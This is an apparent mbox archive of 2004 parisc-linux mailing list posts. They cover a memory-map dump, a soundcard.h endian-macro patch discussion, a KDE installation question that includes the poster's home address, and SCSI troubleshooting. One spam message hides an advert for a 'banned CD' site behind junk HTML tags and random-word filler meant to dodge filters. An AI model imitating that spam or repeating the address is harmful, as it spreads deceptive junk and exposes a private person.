    ffffffff80004000-ffffffff800040ff : sym53c8xx
  ffffffff80005000-ffffffff800050ff : 0000:00:02.1
    ffffffff80005000-ffffffff800050ff : sym53c8xx
  ffffffff80040000-ffffffff8007ffff : 0000:00:00.0
  ffffffff80080000-ffffffff800800ff : 0000:00:01.0
    ffffffff80080000-ffffffff800800ff : sym53c8xx
  ffffffff80100000-ffffffff80100fff : 0000:00:01.0
    ffffffff80100000-ffffffff80100fff : sym53c8xx
ffffffff82000000-ffffffff83ffffff : LBA LMMIO
ffffffff84000000-ffffffff85ffffff : LBA LMMIO
ffffffff88000000-ffffffff89ffffff : LBA LMMIO
  ffffffff88000000-ffffffff8801ffff : 0000:20:00.0
  ffffffff88020000-ffffffff8803ffff : 0000:20:00.0
  ffffffff88040000-ffffffff880401ff : 0000:20:00.0
ffffffff8a000000-ffffffff8bffffff : LBA LMMIO
  ffffffff8a000000-ffffffff8a0003ff : 0000:28:00.0
    ffffffff8a000000-ffffffff8a0003ff : tulip
ffffffff90000000-ffffffff91ffffff : LBA LMMIO
ffffffff94000000-ffffffff95ffffff : LBA LMMIO
ffffffff98000000-ffffffff99ffffff : LBA LMMIO
ffffffffbffe0000-ffffffffbffe0fff : lba
ffffffffbffe2000-ffffffffbffe2fff : lba
ffffffffbffe4000-ffffffffbffe4fff : lba
ffffffffbffe8000-ffffffffbffe8fff : lba
ffffffffbffea000-ffffffffbffeafff : lba
ffffffffbfff0000-ffffffffbfff0fff : lba
ffffffffbfff4000-ffffffffbfff4fff : lba
ffffffffbfff8000-ffffffffbfff8fff : lba
ffffffffc0000000-ffffffffc1ffffff : LBA LMMIO
ffffffffc4000000-ffffffffc5ffffff : LBA LMMIO
ffffffffc8000000-ffffffffc9ffffff : LBA LMMIO
ffffffffd0000000-ffffffffd1ffffff : LBA LMMIO
ffffffffd4000000-ffffffffd5ffffff : LBA LMMIO
  ffffffffd4000000-ffffffffd401ffff : 0000:d0:00.0
  ffffffffd4020000-ffffffffd403ffff : 0000:d0:00.0
  ffffffffd4040000-ffffffffd40401ff : 0000:d0:00.0
ffffffffd8000000-ffffffffd9ffffff : LBA LMMIO
  ffffffffd8000000-ffffffffd801ffff : 0000:e0:00.0
  ffffffffd8020000-ffffffffd803ffff : 0000:e0:00.0
  ffffffffd8040000-ffffffffd80401ff : 0000:e0:00.0
fffffffffece0000-fffffffffece0fff : lba
fffffffffece4000-fffffffffece4fff : lba
fffffffffece8000-fffffffffece8fff : lba
fffffffffecf0000-fffffffffecf0fff : lba
fffffffffecf4000-fffffffffecf4fff : lba
fffffffffecf8000-fffffffffecf8fff : lba
fffffffffed00000-fffffffffed00fff : SBA
fffffffffed25000-fffffffffed25fff : CPU
fffffffffed40000-fffffffffed40fff : SBA
fffffffffff80000-fffffffffffaffff : Central Bus
fffffffffffb0000-fffffffffffdffff : Local Broadcast
fffffffffffe0000-ffffffffffffffff : Global Broadcast

Does it help?

Joel

----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] include/linux/soundcard.h endian fix
Date: Mon, 23 Feb 2004 04:24:58 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <20040223122458.GA6675@tausq.org>
References: <20040222070150.GA773@calypso>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623220 6103 80.91.229.3 (22 Nov 2014 02:27:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stuart Brady <sdbrady@ntlworld.com>
Original-X-From: randolph@tausq.org  Mon Feb 23 03:34:34 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5132D4855
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Feb 2004 03:34:34 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 9E86FCD28A; Mon, 23 Feb 2004 04:24:58 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20040222070150.GA773@calypso>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 23 Feb 2004 10:34:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20925

> Would it be better to do the following? :
> 
> #ifdef(__BYTE_ORDER)
> #  if defined(__BIG_ENDIAN)
> #    if __BYTE_ORDER == __BIG_ENDIAN
> #      define AFMT_S16_NE AFMT_S16_BE
> #    endif
> #  elif defined(__LITTLE_ENDIAN)
> #    if __BYTE_ORDER == __LITTLE_ENDIAN
> #      define AFMT_S16_NE AFMT_S16_LE
> #    endif
> #  end if
> #endif

yes, this is much better. If you include asm/byteorder.h then this
should always be defined. maybe add a #error to catch the (unlikely)
case where neither is defined?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Achim.Stolze@t-online.de (Achim Stolze)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installation of new KDE 3.2
Date: Mon, 23 Feb 2004 19:19:54 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <403A444A.4010805@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623220 6107 80.91.229.3 (22 Nov 2014 02:27:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: Achim.Stolze@t-online.de  Mon Feb 23 11:20:08 2004
Return-Path: <Achim.Stolze@t-online.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout08.sul.t-online.com (mailout08.sul.t-online.com
	[194.25.134.20])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8555E4840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Feb 2004 11:20:08 -0700 (MST)
Original-Received: from fwd00.aul.t-online.de by mailout08.sul.t-online.com with smtp 
	id 1AvKgZ-0005Tg-00; Mon, 23 Feb 2004 19:20:07 +0100
Original-Received: from t-online.de
	(JrMY9uZDweW8CbWotAx2qJfnAtKOjb5Z9iR9YmfW7IiDM7TIRyGerU@[217.82.77.8])
	by fwd00.sul.t-online.com
	with esmtp id 1AvKgN-0G7YmG0; Mon, 23 Feb 2004 19:19:55 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624
X-Accept-Language: en-us, en
X-Seen: false
X-ID: JrMY9uZDweW8CbWotAx2qJfnAtKOjb5Z9iR9YmfW7IiDM7TIRyGerU
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 23 Feb 2004 18:20:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20926

Hello,

I have HPPA-Debian running on C180. The KDE which came with the ISOs I 
installed is version 2.2. Now I downloaded the sources for the new KDE 3.2.
The problem is that I don't know how to install all these individual 
files ...
Can somebody please help me ?

Thank you,

Achim.

Achim Stolze
Beim Lammkeller 10
D-88339 Bad Waldsee

Achim.Stolze@t-online.de



From - Thu Nov 08 21:31:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] include/linux/soundcard.h endian fix
Date: Mon, 23 Feb 2004 19:40:47 +0000
Lines: 99
Approved: news@gmane.org
Message-ID: <20040223194047.GA448@calypso>
References: <20040222070150.GA773@calypso> <20040223122458.GA6675@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623220 6108 80.91.229.3 (22 Nov 2014 02:27:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: sdbrady@ntlworld.com  Mon Feb 23 12:42:46 2004
Return-Path: <sdbrady@ntlworld.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta02-svc.ntlworld.com (mta02-svc.ntlworld.com [62.253.162.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id C5ECC4855
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Feb 2004 12:42:45 -0700 (MST)
Original-Received: from calypso ([62.254.21.7]) by mta02-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040223194014.JQQY14417.mta02-svc.ntlworld.com@calypso>
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Feb 2004 19:40:14 +0000
Original-Received: from sdb by calypso with local (Exim 3.36 #1 (Debian))
	id 1AvLwd-0000MO-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Feb 2004 19:40:47 +0000
Content-Disposition: inline
In-Reply-To: <20040223122458.GA6675@tausq.org>
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Stuart Brady <sdbrady@ntlworld.com>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 23 Feb 2004 19:42:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20927

On Mon, Feb 23, 2004 at 04:24:58AM -0800, Randolph Chung wrote:
> > Would it be better to do the following? :
> > 
> > #ifdef(__BYTE_ORDER)
> > #  if defined(__BIG_ENDIAN)
> > #    if __BYTE_ORDER == __BIG_ENDIAN
> > #      define AFMT_S16_NE AFMT_S16_BE
> > #    endif
> > #  elif defined(__LITTLE_ENDIAN)
> > #    if __BYTE_ORDER == __LITTLE_ENDIAN
> > #      define AFMT_S16_NE AFMT_S16_LE
> > #    endif
> > #  end if
> > #endif
> 
> yes, this is much better. If you include asm/byteorder.h then this
> should always be defined. maybe add a #error to catch the (unlikely)
> case where neither is defined?

This header is used in userland - is using <asm/byteorder.h> still okay?
<endian.h> defines both __LITTLE_ENDIAN and __BIG_ENDIAN - the fact that
one of these exists means nothing - you have to look at __BYTE_ORDER.
<asm/byteorder.h> will define one but not the other, and __BYTE_ORDER is
not defined. If a user includes <endian.h> followed by <sys/soundcard.h>,
and we use <asm/byteorder.h>, then both __LITTLE_ENDIAN and __BIG_ENDIAN
will be defined at the same time. How about this? :

Index: soundcard.h
===================================================================
RCS file: /var/cvs/linux-2.4/include/linux/soundcard.h,v
retrieving revision 1.6
diff -u -r1.6 soundcard.h
--- soundcard.h	26 Jun 2003 15:08:08 -0000	1.6
+++ soundcard.h	23 Feb 2004 15:15:23 -0000
@@ -39,6 +39,13 @@
 /* In Linux we need to be prepared for cross compiling */
 #include <linux/ioctl.h>
 
+/* Endian macros. Note that they have a different meaning in the kernel.
+#ifdef __KERNEL__
+#  include <asm/byteorder.h>
+#else
+#  include <endian.h>
+#endif
+
 /*
  *	Supported card ID numbers (Should be somewhere else?)
  */
@@ -179,13 +186,28 @@
  * Some big endian/little endian handling macros
  */
 
-#if defined(_AIX) || defined(AIX) || defined(sparc) || defined(__sparc__) || defined(HPPA) || defined(PPC) || defined(__mc68000__)
-/* Big endian machines */
-#  define _PATCHKEY(id) (0xfd00|id)
-#  define AFMT_S16_NE AFMT_S16_BE
-#else
-#  define _PATCHKEY(id) ((id<<8)|0xfd)
-#  define AFMT_S16_NE AFMT_S16_LE
+#if defined(__BIG_ENDIAN)
+#  if defined(__KERNEL__) || (defined(__BYTE_ORDER) && __BYTE_ORDER == __BIG_ENDIAN)
+#    if defined(AFMT_S16_NE) || defined(_PATCHKEY)
+#      error AFMT_S16_NE (or _PATCHKEY) is already defined
+#    endif
+#    define AFMT_S16_NE AFMT_S16_BE
+#    define _PATCHKEY(id) (0xfd00|id)
+#  endif
+#endif
+
+#if defined(__LITTLE_ENDIAN)
+#  if defined(__KERNEL__) || (defined(__BYTE_ORDER) && __BYTE_ORDER == __LITTLE_ENDIAN)
+#    if defined(AFMT_S16_NE) || defined(_PATCHKEY)
+#      error AFMT_S16_NE (or _PATCHKEY) is already defined
+#    endif
+#    define AFMT_S16_NE AFMT_S16_LE
+#    define _PATCHKEY(id) ((id<<8)|0xfd)
+#  endif
+#endif
+
+#if !defined(AFMT_S16_NE)
+#  error Failed to define AFMT_S16_NE
 #endif
 
 /*

I suppose the system-specific tests aren't necessary - if you're using
our soundcard.h, then you have our <endian.h>, too. I think the #error
is a good idea for the same reason - if the #error happens, something
really is wrong, and apps might otherwise silently test for AFMT_S16_NE,
possibly even defining it themselves.

The test for AIX || _AIX strongly implies that this header was once
intended to be used on other systems. Should we just ignore that?

BTW, AFMT_S32_NE isn't defined, but it's in the specification. It might
be worth adding that. AFMT_U16_NE isn't even in the spec.
-- 
Stuart Brady


From - Thu Nov 08 21:31:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] b2k scsi disk pb
Date: Tue, 24 Feb 2004 09:11:39 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20040224161139.GC10551@colo.lackof.org>
References: <402A42A100007EE7@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623221 6110 80.91.229.3 (22 Nov 2014 02:27:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Tue Feb 24 09:11:40 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id C71F2487B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 Feb 2004 09:11:40 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 3212D2980A7; Tue, 24 Feb 2004 09:11:40 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 10609-07; Tue, 24 Feb 2004 09:11:39 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AC196298048; Tue, 24 Feb 2004 09:11:39 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <402A42A100007EE7@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 24 Feb 2004 16:11:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20928

On Mon, Feb 23, 2004 at 09:16:16AM +0100, Joel Soete wrote:
> In fact according <http://www.seagate.com/cgi-bin/view.cgi?/scsi/st336704.lw>
> it has the two possiblity SE or LVD according HW config (a side jumper J2
> if i well understand)

Ah ok. They have a jumper to force SE signalling. 

> >If both internal devices are LVD, check early sym2 dmesg output
> >to verify the SCSI bus is operating in LVD mode (vs SE).
> 
> But here they seems to work together in LVD mode:

Right. means the jumper is not connected and something else is wrong.

> Anyway what sym2 look for at scsi id 0?

It's just the first one.
SCSI scans from ID 0 to 15 to find devices.

grant


From - Thu Nov 08 21:31:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 grundler
Date: Tue, 24 Feb 2004 14:46:57 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20040224214657.GB14888@colo.lackof.org>
References: <20040224213950.9941D4942BA@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623221 6111 80.91.229.3 (22 Nov 2014 02:27:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:01 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: grundler@lackof.org  Tue Feb 24 14:46:59 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 1A3A34866; Tue, 24 Feb 2004 14:46:59 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 633E32980A7; Tue, 24 Feb 2004 14:46:58 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 14893-06; Tue, 24 Feb 2004 14:46:58 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id EAB5F298054; Tue, 24 Feb 2004 14:46:57 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040224213950.9941D4942BA@palinux.hppa>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 24 Feb 2004 21:46:59 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20929

On Tue, Feb 24, 2004 at 02:39:50PM -0700, Grant Grundler wrote:
> Modified files:
> 	arch/parisc/configs: c3000_defconfig 

FYI, my c3k is running this kernel.
This is an FTP/HTTP server that also doubles as my 1600x1200 desktop.
I won't bother uploading a tarball since the next commit will
force the auto-builder to build it.

grant


From - Thu Nov 08 21:31:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Richter" <ursmhikx@cnnic.net.cn>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: BMZFM, undoubtedly have been
Date: Wed, 25 Feb 2004 15:35:17 +0600
Lines: 35
Approved: news@gmane.org
Message-ID: <IISOSCV-0002112698803@whitcomb>
Reply-To: Stacey Richter <ursmhikx@cnnic.net.cn>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--ALT--WEID74314255490954"
X-Trace: ger.gmane.org 1416623221 6112 80.91.229.3 (22 Nov 2014 02:27:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:01 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: ursmhikx@cnnic.net.cn  Wed Feb 25 02:45:16 2004
Return-Path: <ursmhikx@cnnic.net.cn>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 339BA4843
	for <parisc-linux@parisc-linux.org>;
	Wed, 25 Feb 2004 02:45:16 -0700 (MST)
Original-Received: from 66-214-217-89.rno-cres.charterpipeline.net
	(66-214-217-89.rno-cres.charterpipeline.net [66.214.217.89])
	by cuprel1.hp.com (Postfix) with SMTP id 3F4B41384
	for <parisc-linux@parisc-linux.org>;
	Wed, 25 Feb 2004 01:41:43 -0800 (PST)
Original-Received: from [66.214.217.89] by 248.169.57.66 with HTTP;
	Wed, 25 Feb 2004 04:29:17 -0500
X-Mailer: mPOP Web-Mail 2.19
X-Originating-IP: [16.192.196.40]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 25 Feb 2004 09:45:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20930

----ALT--WEID74314255490954
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

laguerre detent clove albeit pegasus flowerpot anion dither dauphin alumni 
standpoint chest anvil deify infrared barefoot dyspeptic 
heterogamous benedikt declination allergy waltham dispensate colloidal horatio anorthosite 

----ALT--WEID74314255490954
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit

<HTML><HEAD>
<BODY>
<p>Ban</shade>ned C</santiago>D Gov</kenya>ernment d</amorphous>on't wan</clarinet>t m</bullhead>e t</planetary>o s</arteriosclerosis>ell i</exogamy>t. Se</dispensary>e N</clause>ow %</p>
<a href="http://www.3005hosting.com/cd/">
<img border="0" src="http://www.3005hosting.com/cd/ads1.jpg"></a>
detonable sclerotic andean bernard ar cod busch viva corpsman emboss teresa ferromagnet cookbook emblazon loeb algae asymmetry mckinney sandblast eastern benefice coral camden responsible oscilloscope excusable chemisorb florid vista army roustabout sequel bride darry mathewson trichloroethane <BR>
ellis cometary asymptotic subsistent coach revive caste borderland gemma akin breastwork behavioral pimple chaise gift intolerable preamble bolshoi midnight glean gummy cereus emigrant carcinoma cheery atlantic ida manhood dialect subliminal department guam keypunch sculpture seductive flea wuhan alfalfa bootstrapped brasilia <BR>
ice naples arden it'll mutilate durham detain mueller diary delphinus handful extolling genus naturopath isochronal assassinate sequitur rosen cochrane sheridan dog equilibrate hollerith couple inertance nonchalant hillmen tasteful yank hogging gab taper exterior resolute m's <BR>
inter truncate curio olaf helpmate samovar bloke monomer avocet diffusive quasiparticle corpuscular important horowitz carriage pronounceable maori congener dis abutted chloroform compensate ugly mesquite arousal tinsel inert artery suspicion goldberg incense matinal norman stratosphere relict crowfoot sevenfold <BR>
thesaurus ir casbah abuse aperture bulgaria juvenile dilemma chapman thrum niche grover cycad led over eradicable christensen cruelty diacritical custodian chub peed <BR>
moist aim director rote discretionary arson derek hosiery laugh mossy <BR>
babble drexel fixate analogue densitometer elite peugeot buildup atlantica hobbyhorse macintosh commotion counterproductive anaerobic bath <BR>
gabble cling minos doherty cowmen antisemitic despite eugenia poll drizzle gastronome plane vivace precept earthmove bodybuilder biltmore conqueror eaten berlioz foamflower neuter buddha attain misogynist skippy deceive chronology handicapper automata incurring exhort nighttime callous arrowhead gainesville consolation <BR>
florin melissa veda quadrille awake blacken employed evaporate lacuna centrifugal disjunct eben anybody'd vibrate it chadwick <BR>
harpoon copernicus edelweiss vial axis triune paraphernalia contrive automatic coeducation fin lykes mann creon cannon livestock cardiff coleman apart loam marimba metallography hewlett <BR>
grayish battlefront feint consort sc enable brute conch embody arthur eave clean vogue cursory she'd ama braniff ac construe pious pax pipeline cattle anthropogenic next polymorph alvarez onomatopoeia obelisk <BR>

</BODY>
</HTML>


----ALT--WEID74314255490954--


From - Thu Nov 08 21:31:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thomas Velasquez" <shannon_White060@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Wed, 25 Feb 2004 17:26:51 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <SUPKBHALPZQELRCEHNMJBY@yahoo.com>
Reply-To: Thomas Velasquez <shannon_White060@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--7681214270446875"
X-Trace: ger.gmane.org 1416623222 6141 80.91.229.3 (22 Nov 2014 02:27:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:02 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: shannon_White060@yahoo.com  Wed Feb 25 14:36:04 2004
Return-Path: <shannon_White060@yahoo.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1AD384843
	for <parisc-linux@parisc-linux.org>;
	Wed, 25 Feb 2004 14:36:04 -0700 (MST)
Original-Received: from RJ180132.user.veloxzone.com.br (RJ180132.user.veloxzone.com.br
	[200.149.180.132]) by cuprel1.hp.com (Postfix) with SMTP id 356BF2405
	for <parisc-linux@parisc-linux.org>;
	Wed, 25 Feb 2004 13:35:51 -0800 (PST)
Original-Received: from 172.37.74.176 by 200.149.180.132;
	Wed, 25 Feb 2004 20:33:51 -0100
X-Webmail-Time: Wed, 25 Feb 2004 15:33:51 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
